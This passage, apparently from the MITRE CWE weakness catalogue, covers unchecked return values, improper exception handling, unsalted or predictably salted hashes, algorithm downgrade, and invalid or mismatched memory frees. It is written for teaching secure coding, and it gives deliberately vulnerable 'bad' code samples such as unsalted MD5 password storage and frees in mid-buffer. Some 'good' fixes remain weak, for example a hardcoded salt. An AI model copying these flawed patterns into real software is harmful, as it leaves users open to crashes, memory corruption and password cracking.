Example Language: C# *(bad)*

```
char[] byteArray = new char[1024];
for (IEnumerator i=users.GetEnumerator(); i.MoveNext() ;i.Current()) {
    String userName = (String) i.Current();
    String pFileName = PFILE_ROOT + "/" + userName;
    StreamReader sr = new StreamReader(pFileName);
    sr.Read(byteArray,0,1024);//the file is always 1k bytes
    sr.Close();
    processPFile(userName, byteArray);
}
```

Example Language: Java *(bad)*

```
FileInputStream fis;
byte[] byteArray = new byte[1024];
for (Iterator i=users.iterator(); i.hasNext();) {
    String userName = (String) i.next();
    String pFileName = PFILE_ROOT + "/" + userName;
    FileInputStream fis = new FileInputStream(pFileName);
    fis.read(byteArray); // the file is always 1k bytes
    fis.close();
    processPFile(userName, byteArray);
```

The code loops through a set of users, reading a private data file for each user. The programmer assumes that the files are always 1 kilobyte in size and therefore ignores the return value from Read(). If an attacker can create a smaller file, the program will recycle the remainder of the data from the previous user and treat it as though it belongs to the attacker.

Example 4:

The following code does not check to see if the string returned by getParameter() is null before calling the member function compareTo(), potentially causing a NULL dereference.

Example Language: Java *(bad)*

```
String itemName = request.getParameter(ITEM_NAME);
if (itemName.compareTo(IMPORTANT_ITEM) == 0) {
    ...
}
...
```

The following code does not check to see if the string returned by the Item property is null before calling the member function Equals(), potentially causing a NULL dereference.

Example Language: Java *(bad)*

```
String itemName = request.Item(ITEM_NAME);
if (itemName.Equals(IMPORTANT_ITEM)) {
    ...
}
...
```

The traditional defense of this coding error is: "I know the requested value will always exist because.... If it does not exist, the program cannot perform the desired behavior so it doesn't matter whether I handle the error or simply allow the program to die dereferencing a null value." But attackers are skilled at finding unexpected paths through programs, particularly when exceptions are involved.

Example 5:

The following code shows a system property that is set to null and later dereferenced by a programmer who mistakenly assumes it will always be defined.

Example Language: Java *(bad)*

```
System.clearProperty("os.name");
...
String os = System.getProperty("os.name");
if (os.equalsIgnoreCase("Windows 95")) System.out.println("Not supported");
```

The traditional defense of this coding error is: "I know the requested value will always exist because.... If it does not exist, the program cannot perform the desired behavior so it doesn't matter whether I handle the error or simply allow the program to die dereferencing a null value." But attackers are skilled at finding unexpected paths through programs, particularly when exceptions are involved.

Example 6:

The following VB.NET code does not check to make sure that it has read 50 bytes from myfile.txt. This can cause DoDangerousOperation() to operate on an unexpected value.

Example Language: C# *(bad)*

```
Dim MyFile As New FileStream("myfile.txt", FileMode.Open, FileAccess.Read, FileShare.Read)
Dim MyArray(50) As Byte
MyFile.Read(MyArray, 0, 50)
DoDangerousOperation(MyArray(20))
```

In .NET, it is not uncommon for programmers to misunderstand Read() and related methods that are part of many System.IO classes. The stream and reader classes do not consider it to be unusual or exceptional if only a small amount of data becomes available. These classes simply add the small amount of data to the return buffer, and set the return value to the number of bytes or characters read. There is no guarantee that the amount of data returned is equal to the amount of data requested.

Example 7:

This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer.

Example Language: C *(bad)*

```
void host_lookup(char *user_supplied_addr){
    struct hostent *hp;
    in_addr_t *addr;
    char hostname[64];
    in_addr_t inet_addr(const char *cp);
    /*routine that ensures user_supplied_addr is in the right format for conversion */
    validate_addr_form(user_supplied_addr);
    addr = inet_addr(user_supplied_addr);
    hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET);
    strcpy(hostname, hp->h_name);
}
```

If an attacker provides an address that appears to be well-formed, but the address does not resolve to a hostname, then the call to gethostbyaddr() will return NULL. When this occurs, a NULL pointer dereference (CWE-476) will occur in the call to strcpy().

Note that this example is also vulnerable to a buffer overflow (see CWE-119).

Example 8:

In the following C/C++ example the method outputStringToFile opens a file in the local filesystem and outputs a string to the file. The input parameters output and filename contain the string to output to the file and the name of the file respectively.

Example Language: C++ *(bad)*

```
int outputStringToFile(char *output, char *filename) {
    openFileToWrite(filename);
    writeToFile(output);
    closeFile(filename);
}
```

However, this code does not check the return values of the methods openFileToWrite, writeToFile, closeFile to verify that the file was properly opened and closed and that the string was successfully written to the file. The return values for these methods should be checked to determine if the method was successful and allow for detection of errors or unexpected conditions as in the following example.

Example Language: C++ *(good)*

```
int outputStringToFile(char *output, char *filename) {
    int isOutput = SUCCESS;
    int isOpen = openFileToWrite(filename);
    if (isOpen == FAIL) {
        printf("Unable to open file %s", filename);
        isOutput = FAIL;
    }
    else {
        int isWrite = writeToFile(output);
        if (isWrite == FAIL) {
            printf("Unable to write to file %s", filename);
            isOutput = FAIL;
        }
        int isClose = closeFile(filename);
        if (isClose == FAIL)
            isOutput = FAIL;
    }
    return isOutput;
}
```

Example 9:

In the following Java example the method readFromFile uses a FileReader object to read the contents of a file. The FileReader object is created using the File object readFile, the readFile object is initialized using the setInputFile method. The setInputFile method should be called before calling the readFromFile method.

Example Language: Java *(bad)*

```
private File readFile = null;
public void setInputFile(String inputFile) {
    // create readFile File object from string containing name of file
}
public void readFromFile() {
    try {
        reader = new FileReader(readFile);
        // read input file
    } catch (FileNotFoundException ex) {...}
}
```

However, the readFromFile method does not check to see if the readFile object is null, i.e. has not been initialized, before creating the FileReader object and reading from the input file. The

readFromFile method should verify whether the readFile object is null and output an error message and raise an exception if the readFile object is null, as in the following code.

Example Language: Java *(good)*

```
private File readFile = null;
public void setInputFile(String inputFile) {
    // create readFile File object from string containing name of file
}
public void readFromFile() {
    try {
        if (readFile == null) {
            System.err.println("Input file has not been set, call setInputFile method before calling openInputFile");
            throw NullPointerException;
        }
        reader = new FileReader(readFile);
        // read input file
    } catch (FileNotFoundException ex) {...}
    catch (NullPointerException ex) {...}
}
```

Observed Examples

Reference	Description
CVE-2007-3798	Unchecked return value leads to resultant integer overflow and code execution. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3798*
CVE-2006-4447	Program does not check return value when invoking functions to drop privileges, which could leave users with higher privileges than expected by forcing those functions to fail. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4447*
CVE-2006-2916	Program does not check return value when invoking functions to drop privileges, which could leave users with higher privileges than expected by forcing those functions to fail. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2916*

MemberOf	C	1141	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 07. Exceptional Behavior (ERR)	1133	1987

Notes

Relationship

Sometimes, when a return value can be used to indicate an error, an unchecked return value is a code-layer instance of a missing application-layer check for exceptional conditions. However, return values are not always needed to communicate exceptional conditions. For example, expiration of resources, values passed by reference, asynchronously modified data, sockets, etc. may indicate exceptional conditions without the use of a return value.

CWE-755: Improper Handling of Exceptional Conditions

Weakness ID : 755 **Status:** Incomplete
Structure : Simple
Abstraction : Class

Description

The software does not handle or incorrectly handles an exceptional condition.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-756: Missing Custom Error Page

Weakness ID : 756 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software does not return custom error pages to the user, possibly exposing sensitive information.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Nature	Type	ID	Name	Page
MemberOf	C	389	Error Conditions, Return Values, Status Codes	1863

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data *Attackers can leverage the additional information provided by a default error page to mount attacks targeted on the framework, database, or other resources used by the application.*	

Demonstrative Examples

Example 1:

In the snippet below, an unchecked runtime exception thrown from within the try block may cause the container to display its default error page (which may contain a full stack trace, among other things).

Example Language: Java *(bad)*

```
Public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    try {
        ...
    } catch (ApplicationSpecificException ase) {
        logger.error("Caught: " + ase.toString());
    }
}
```

Example 2:

An insecure ASP.NET application setting:

Example Language: ASP.NET *(bad)*

```
<customErrors mode="Off" />
```

Custom error message mode is turned off. An ASP.NET error message with detailed stack trace and platform versions will be returned.

Here is a more secure setting:

Example Language: ASP.NET *(good)*

```
<customErrors mode="RemoteOnly" />
```

Custom error message mode for remote users only. No defaultRedirect error page is specified. The local user on the web server will see a detailed stack trace. For remote users, an ASP.NET error message with the server customError configuration setting and the platform version will be returned.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-757: Selection of Less-Secure Algorithm During Negotiation ('Algorithm Downgrade')

Weakness ID : 757 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

A protocol or its implementation supports interaction between multiple actors and allows those actors to negotiate which algorithm should be used as a protection mechanism such as encryption or authentication, but it does not select the strongest algorithm that is available to both parties.

Extended Description

When a security mechanism can be forced to downgrade to use a less secure algorithm, this can make it easier for attackers to compromise the software by exploiting weaker algorithm. The victim might not be aware that the less secure algorithm is being used. For example, if an attacker can force a communications channel to use cleartext instead of strongly-encrypted data, then the attacker could read the channel by sniffing, instead of going through extra effort of trying to decrypt the data using brute force techniques.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-758: Reliance on Undefined, Unspecified, or Implementation-Defined Behavior

Weakness ID : 758 **Status:** Incomplete
Structure : Simple
Abstraction : Class

Description

The software uses an API function, data structure, or other entity in a way that relies on properties that are not always guaranteed to hold for that entity.

Extended Description

This can lead to resultant weaknesses when the required properties change, such as when the software is ported to a different platform or if an interaction error (CWE-435) occurs.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-759: Use of a One-Way Hash without a Salt

Weakness ID : 759 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The software uses a one-way cryptographic hash against an input that should not be reversible, such as a password, but the software does not also use a salt as part of the input.

Extended Description

This makes it easier for attackers to pre-compute the hash value using dictionary attack techniques such as rainbow tables.

It should be noted that, despite common perceptions, the use of a good salt with a hash does not sufficiently increase the effort for an attacker who is targeting an individual password, or who has a large amount of computing resources available, such as with cloud-based services or specialized, inexpensive hardware. Offline password cracking can still be effective if the hash function is not expensive to compute; many cryptographic functions are designed to be efficient and can be vulnerable to attacks using massive computing resources, even if the hash is cryptographically strong. The use of a salt only slightly increases the computing requirements for an attacker compared to other strategies such as adaptive hash functions. See CWE-916 for more details.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	916	Use of Password Hash With Insufficient Computational Effort	1594

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1013	Encrypt Data	1968

Background Details

In cryptography, salt refers to some random addition of data to an input before hashing to make dictionary attacks more difficult.

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism Gain Privileges or Assume Identity *If an attacker can gain access to the hashes, then the lack of a salt makes it easier to conduct brute force attacks using techniques such as rainbow tables.*	

Detection Methods

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Bytecode Weakness Analysis - including disassembler + source code weakness analysis Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness = SOAR Partial

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness = SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Focused Manual Spotcheck - Focused manual analysis of source Manual Source Code Review (not inspections)

Effectiveness = High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

Effectiveness = High

Automated Static Analysis

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Configuration Checker

Effectiveness = SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Cost effective for partial coverage: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Use an adaptive hash function that can be configured to change the amount of computational effort needed to compute the hash, such as the number of iterations ("stretching") or the amount of memory required. Some hash functions perform salting automatically. These functions

can significantly increase the overhead for a brute force attack compared to intentionally-fast functions such as MD5. For example, rainbow table attacks can become infeasible due to the high computing overhead. Finally, since computing power gets faster and cheaper over time, the technique can be reconfigured to increase the workload without forcing an entire replacement of the algorithm in use. Some hash functions that have one or more of these desired properties include bcrypt [REF-291], scrypt [REF-292], and PBKDF2 [REF-293]. While there is active debate about which of these is the most effective, they are all stronger than using salts with hash functions with very little computing overhead. Note that using these functions can have an impact on performance, so they require special consideration to avoid denial-of-service attacks. However, their configurability provides finer control over how much CPU and memory is used, so it could be adjusted to suit the environment's needs.

Effectiveness = High

Phase: Architecture and Design

If a technique that requires extra computational effort can not be implemented, then for each password that is processed, generate a new random salt using a strong random number generator with unpredictable seeds. Add the salt to the plaintext password before hashing it. When storing the hash, also store the salt. Do not use the same salt for every password.

Effectiveness = Limited

Be aware that salts will not reduce the workload of a targeted attack against an individual hash (such as the password for a critical person), and in general they are less effective than other hashing techniques such as increasing the computation time or memory overhead. Without a built-in workload, modern attacks can compute large numbers of hashes, or even exhaust the entire space of all possible passwords, within a very short amount of time, using massively-parallel computing and GPU, ASIC, or FPGA hardware.

Phase: Implementation

Phase: Architecture and Design

When using industry-approved techniques, use them correctly. Don't cut corners by skipping resource-intensive steps (CWE-325). These steps are often essential for preventing common attacks.

Demonstrative Examples

Example 1:

In both of these examples, a user is logged in if their given password matches a stored password:

Example Language: C *(bad)*

```
unsigned char *check_passwd(char *plaintext) {
    ctext = simple_digest("sha1",plaintext,strlen(plaintext), ... );
    //Login if hash matches stored hash
    if (equal(ctext, secret_password())) {
        login_user();
    }
}
```

Example Language: Java *(bad)*

```
String plainText = new String(plainTextIn);
MessageDigest encer = MessageDigest.getInstance("SHA");
encer.update(plainTextIn);
byte[] digest = password.digest();
//Login if hash matches stored hash
if (equal(digest,secret_password())) {
    login_user();
}
```

This code does not provide a salt to the hashing function, thus increasing the chances of an attacker being able to reverse the hash and discover the original password. Note this code also exhibits CWE-328 (Reversible One-Way Hash).

Example 2:

In this example, a new user provides a new username and password to create an account. The program hashes the new user's password then stores it in a database.

Example Language: Python *(bad)*

```
def storePassword(userName,Password):
    hasher = hashlib.new('md5')
    hasher.update(Password)
    hashedPassword = hasher.digest()
    # UpdateUserLogin returns True on success, False otherwise
    return updateUserLogin(userName,hashedPassword)
```

While it is good to avoid storing a cleartext password, the program does not provide a salt to the hashing function, thus increasing the chances of an attacker being able to reverse the hash and discover the original password if the database is compromised.

Fixing this is as simple as providing a salt to the hashing function on initialization:

Example Language: Python *(good)*

```
def storePassword(userName,Password):
    hasher = hashlib.new('md5',b'SaltGoesHere')
    hasher.update(Password)
    hashedPassword = hasher.digest()
    # UpdateUserLogin returns True on success, False otherwise
    return updateUserLogin(userName,hashedPassword)
```

Note that regardless of the usage of a salt, the md5 hash is no longer considered secure, so this example still exhibits CWE-327.

Observed Examples

CWE-760: Use of a One-Way Hash with a Predictable Salt

Weakness ID : 760 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The software uses a one-way cryptographic hash against an input that should not be reversible, such as a password, but the software uses a predictable salt as part of the input.

Extended Description

This makes it easier for attackers to pre-compute the hash value using dictionary attack techniques such as rainbow tables, effectively disabling the protection that an unpredictable salt would provide.

It should be noted that, despite common perceptions, the use of a good salt with a hash does not sufficiently increase the effort for an attacker who is targeting an individual password, or who has a large amount of computing resources available, such as with cloud-based services or specialized, inexpensive hardware. Offline password cracking can still be effective if the hash function is not

expensive to compute; many cryptographic functions are designed to be efficient and can be vulnerable to attacks using massive computing resources, even if the hash is cryptographically strong. The use of a salt only slightly increases the computing requirements for an attacker compared to other strategies such as adaptive hash functions. See CWE-916 for more details.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-761: Free of Pointer not at Start of Buffer

Weakness ID : 761 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The application calls free() on a pointer to a memory resource that was allocated on the heap, but the pointer is not at the start of the buffer.

Extended Description

This can cause the application to crash, or in some cases, modify critical program variables or execute code.

This weakness often occurs when the memory is allocated explicitly on the heap with one of the malloc() family functions and free() is called, but pointer arithmetic has caused the pointer to be in the interior or end of the buffer.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	763	Release of Invalid Pointer or Reference	1408

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Memory	
Availability	DoS: Crash, Exit, or Restart	
Confidentiality	Execute Unauthorized Code or Commands	

Potential Mitigations

Phase: Implementation

When utilizing pointer arithmetic to traverse a buffer, use a separate variable to track progress through memory and preserve the originally allocated address for later freeing.

Phase: Implementation

When programming in C++, consider using smart pointers provided by the boost library to help correctly and consistently manage memory.

Phase: Architecture and Design

Strategy = Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, glibc in Linux provides protection against free of invalid pointers.

Phase: Architecture and Design

Use a language that provides abstractions for memory allocation and deallocation.

Phase: Testing

Use a tool that dynamically detects memory management problems, such as valgrind.

Demonstrative Examples

Example 1:

In this example, the programmer dynamically allocates a buffer to hold a string and then searches for a specific character. After completing the search, the programmer attempts to release the allocated memory and return SUCCESS or FAILURE to the caller. Note: for simplification, this example uses a hard-coded "Search Me!" string and a constant string length of 20.

Example Language: C *(bad)*

```
#define SUCCESS (1)
#define FAILURE (0)
int contains_char(char c){
    char *str;
    str = (char*)malloc(20*sizeof(char));
    strcpy(str, "Search Me!");
    while( *str != NULL){
        if( *str == c ){
            /* matched char, free string and return success */
            free(str);
            return SUCCESS;
        }
        /* didn't match yet, increment pointer and try next char */
        str = str + 1;
    }
    /* we did not match the char in the string, free mem and return failure */
    free(str);
    return FAILURE;
}
```

However, if the character is not at the beginning of the string, or if it is not in the string at all, then the pointer will not be at the start of the buffer when the programmer frees it.

Instead of freeing the pointer in the middle of the buffer, the programmer can use an indexing pointer to step through the memory or abstract the memory calculations by using array indexing.

Example Language: C *(good)*

```
#define SUCCESS (1)
#define FAILURE (0)
int cointains_char(char c){
    char *str;
```

```
    int i = 0;
    str = (char*)malloc(20*sizeof(char));
    strcpy(str, "Search Me!");
    while( i < strlen(str) ){
        if( str[i] == c ){
            /* matched char, free string and return success */
            free(str);
            return SUCCESS;
        }
        /* didn't match yet, increment pointer and try next char */
        i = i + 1;
    }
    /* we did not match the char in the string, free mem and return failure */
    free(str);
    return FAILURE;
}
```

Example 2:

This code attempts to tokenize a string and place it into an array using the strsep function, which inserts a \0 byte in place of whitespace or a tab character. After finishing the loop, each string in the AP array points to a location within the input string.

Example Language: C *(bad)*

```
char **ap, *argv[10], *inputstring;
for (ap = argv; (*ap = strsep(&inputstring, " \t")) != NULL;)
    if (**ap != '\0')
        if (++ap >= &argv[10])
            break;
/.../
free(ap[4]);
```

Since strsep is not allocating any new memory, freeing an element in the middle of the array is equivalent to free a pointer in the middle of inputstring.

Example 3:

Consider the following code in the context of a parsing application to extract commands out of user data. The intent is to parse each command and add it to a queue of commands to be executed, discarding each malformed entry.

Example Language: C *(bad)*

```
//hardcode input length for simplicity
char* input = (char*) malloc(40*sizeof(char));
char *tok;
char* sep = " \t";
get_user_input( input );
/* The following loop will parse and process each token in the input string */
tok = strtok( input, sep);
while( NULL != tok ){
    if( isMalformed( tok ) ){
        /* ignore and discard bad data */
        free( tok );
    }
    else{
        add_to_command_queue( tok );
    }
    tok = strtok( NULL, sep));
}
```

While the above code attempts to free memory associated with bad commands, since the memory was all allocated in one chunk, it must all be freed together.

One way to fix this problem would be to copy the commands into a new memory location before placing them in the queue. Then, after all commands have been processed, the memory can safely be freed.

Example Language: C *(good)*

```
//hardcode input length for simplicity
char* input = (char*) malloc(40*sizeof(char));
char *tok, *command;
char* sep = " \t";
get_user_input( input );
/* The following loop will parse and process each token in the input string */
tok = strtok( input, sep);
while( NULL != tok ){
    if( !isMalformed( command ) ){
        /* copy and enqueue good data */
        command = (char*) malloc( (strlen(tok) + 1) * sizeof(char) );
        strcpy( command, tok );
        add_to_command_queue( command );
    }
    tok = strtok( NULL, sep));
}
free( input )
```

CWE-762: Mismatched Memory Management Routines

Weakness ID : 762 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The application attempts to return a memory resource to the system, but it calls a release function that is not compatible with the function that was originally used to allocate that resource.

Extended Description

This weakness can be generally described as mismatching memory management routines, such as:

- The memory was allocated on the stack (automatically), but it was deallocated using the memory management routine free() (CWE-590), which is intended for explicitly allocated heap memory.
- The memory was allocated explicitly using one set of memory management functions, and deallocated using a different set. For example, memory might be allocated with malloc() in C++ instead of the new operator, and then deallocated with the delete operator.

When the memory management functions are mismatched, the consequences may be as severe as code execution, memory corruption, or program crash. Consequences and ease of exploit will vary depending on the implementation of the routines and the object being managed.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	763	Release of Invalid Pointer or Reference	1408
ParentOf	V	590	Free of Memory not on the Heap	1179

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Likelihood Of Exploit

Low

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Memory	
Availability	DoS: Crash, Exit, or Restart	
Confidentiality	Execute Unauthorized Code or Commands	

Potential Mitigations

Phase: Implementation

Only call matching memory management functions. Do not mix and match routines. For example, when you allocate a buffer with malloc(), dispose of the original pointer with free().

Phase: Implementation

Strategy = Libraries or Frameworks

Choose a language or tool that provides automatic memory management, or makes manual memory management less error-prone. For example, glibc in Linux provides protection against free of invalid pointers. When using Xcode to target OS X or iOS, enable automatic reference counting (ARC) [REF-391]. To help correctly and consistently manage memory when programming in C++, consider using a smart pointer class such as std::auto_ptr (defined by

ISO/IEC ISO/IEC 14882:2003), std::shared_ptr and std::unique_ptr (specified by an upcoming revision of the C++ standard, informally referred to as C++ 1x), or equivalent solutions such as Boost.

Phase: Architecture and Design

Strategy = Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, glibc in Linux provides protection against free of invalid pointers.

Phase: Architecture and Design

Use a language that provides abstractions for memory allocation and deallocation.

Phase: Testing

Use a tool that dynamically detects memory management problems, such as valgrind.

Demonstrative Examples

Example 1:

This example allocates a BarObj object using the new operator in C++, however, the programmer then deallocates the object using free(), which may lead to unexpected behavior.

Example Language: C++ *(bad)*

```
void foo(){
    BarObj *ptr = new BarObj()
    /* do some work with ptr here */
    ...
    free(ptr);
}
```

Instead, the programmer should have either created the object with one of the malloc family functions, or else deleted the object with the delete operator.

Example Language: C++ *(good)*

```
void foo(){
    BarObj *ptr = new BarObj()
    /* do some work with ptr here */
    ...
    delete ptr;
}
```

Example 2:

In this example, the program does not use matching functions such as malloc/free, new/delete, and new[]/delete[] to allocate/deallocate the resource.

Example Language: C++ *(bad)*

```
class A {
    void foo();
};
void A::foo(){
    int *ptr;
    ptr = (int*)malloc(sizeof(int));
    delete ptr;
}
```

Example 3:

In this example, the program calls the delete[] function on non-heap memory.

Example Language: C++ *(bad)*

```
class A{
    void foo(bool);
};
void A::foo(bool heap) {
    int localArray[2] = {
        11,22
    };
    int *p = localArray;
    if (heap){
        p = new int[2];
    }
    delete[] p;
}
```

CWE-763: Release of Invalid Pointer or Reference

Weakness ID : 763 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The application attempts to return a memory resource to the system, but calls the wrong release function or calls the appropriate release function incorrectly.

Extended Description

This weakness can take several forms, such as:

- The memory was allocated, explicitly or implicitly, via one memory management method and deallocated using a different, non-compatible function (CWE-762).
- The function calls or memory management routines chosen are appropriate, however they are used incorrectly, such as in CWE-761.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		404	Improper Resource Shutdown or Release	877
ParentOf		761	Free of Pointer not at Start of Buffer	1402
ParentOf		762	Mismatched Memory Management Routines	1405

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf		404	Improper Resource Shutdown or Release	877

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	399	Resource Management Errors	1864
MemberOf	C	465	Pointer Issues	1868

Common Consequences

Scope	Impact	Likelihood
Integrity Availability Confidentiality	Modify Memory DoS: Crash, Exit, or Restart Execute Unauthorized Code or Commands *This weakness may result in the corruption of memory, and perhaps instructions, possibly leading to a crash. If the corrupted memory can be effectively controlled, it may be possible to execute arbitrary code.*	

Potential Mitigations

Phase: Implementation

Only call matching memory management functions. Do not mix and match routines. For example, when you allocate a buffer with malloc(), dispose of the original pointer with free().

Phase: Implementation

When programming in C++, consider using smart pointers provided by the boost library to help correctly and consistently manage memory.

Phase: Architecture and Design

Strategy = Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, glibc in Linux provides protection against free of invalid pointers.

Phase: Architecture and Design

Use a language that provides abstractions for memory allocation and deallocation.

Phase: Testing

Use a tool that dynamically detects memory management problems, such as valgrind.

Demonstrative Examples

Example 1:

This code attempts to tokenize a string and place it into an array using the strsep function, which inserts a \0 byte in place of whitespace or a tab character. After finishing the loop, each string in the AP array points to a location within the input string.

Example Language: C *(bad)*

```
char **ap, *argv[10], *inputstring;
for (ap = argv; (*ap = strsep(&inputstring, " \t")) != NULL;)
    if (**ap != '\0')
        if (++ap >= &argv[10])
            break;
/.../
free(ap[4]);
```

Since strsep is not allocating any new memory, freeing an element in the middle of the array is equivalent to free a pointer in the middle of inputstring.

Example 2:

This example allocates a BarObj object using the new operator in C++, however, the programmer then deallocates the object using free(), which may lead to unexpected behavior.

Example Language: C++ *(bad)*

```
void foo(){
    BarObj *ptr = new BarObj()
    /* do some work with ptr here */
    ...
    free(ptr);
}
```

Instead, the programmer should have either created the object with one of the malloc family functions, or else deleted the object with the delete operator.

Example Language: C++ *(good)*

```
void foo(){
    BarObj *ptr = new BarObj()
    /* do some work with ptr here */
    ...
    delete ptr;
}
```

Example 3:

In this example, the programmer dynamically allocates a buffer to hold a string and then searches for a specific character. After completing the search, the programmer attempts to release the

allocated memory and return SUCCESS or FAILURE to the caller. Note: for simplification, this example uses a hard-coded "Search Me!" string and a constant string length of 20.

Example Language: C *(bad)*

```
#define SUCCESS (1)
#define FAILURE (0)
int contains_char(char c){
    char *str;
    str = (char*)malloc(20*sizeof(char));
    strcpy(str, "Search Me!");
    while( *str != NULL){
        if( *str == c ){
            /* matched char, free string and return success */
            free(str);
            return SUCCESS;
        }
        /* didn't match yet, increment pointer and try next char */
        str = str + 1;
    }
    /* we did not match the char in the string, free mem and return failure */
    free(str);
    return FAILURE;
}
```

However, if the character is not at the beginning of the string, or if it is not in the string at all, then the pointer will not be at the start of the buffer when the programmer frees it.

Instead of freeing the pointer in the middle of the buffer, the programmer can use an indexing pointer to step through the memory or abstract the memory calculations by using array indexing.

Example Language: C *(good)*

```
#define SUCCESS (1)
#define FAILURE (0)
int cointains_char(char c){
    char *str;
    int i = 0;
    str = (char*)malloc(20*sizeof(char));
    strcpy(str, "Search Me!");
    while( i < strlen(str) ){
        if( str[i] == c ){
            /* matched char, free string and return success */
            free(str);
            return SUCCESS;
        }
        /* didn't match yet, increment pointer and try next char */
        i = i + 1;
    }
    /* we did not match the char in the string, free mem and return failure */
    free(str);
    return FAILURE;
}
```

Example 4:

Consider the following code in the context of a parsing application to extract commands out of user data. The intent is to parse each command and add it to a queue of commands to be executed, discarding each malformed entry.

Example Language: C *(bad)*

```
//hardcode input length for simplicity
char* input = (char*) malloc(40*sizeof(char));
char *tok;
char* sep = " \t";
```

```
get_user_input( input );
/* The following loop will parse and process each token in the input string */
tok = strtok( input, sep);
while( NULL != tok ){
    if( isMalformed( tok ) ){
        /* ignore and discard bad data */
        free( tok );
    }
    else{
        add_to_command_queue( tok );
    }
    tok = strtok( NULL, sep));
}
```

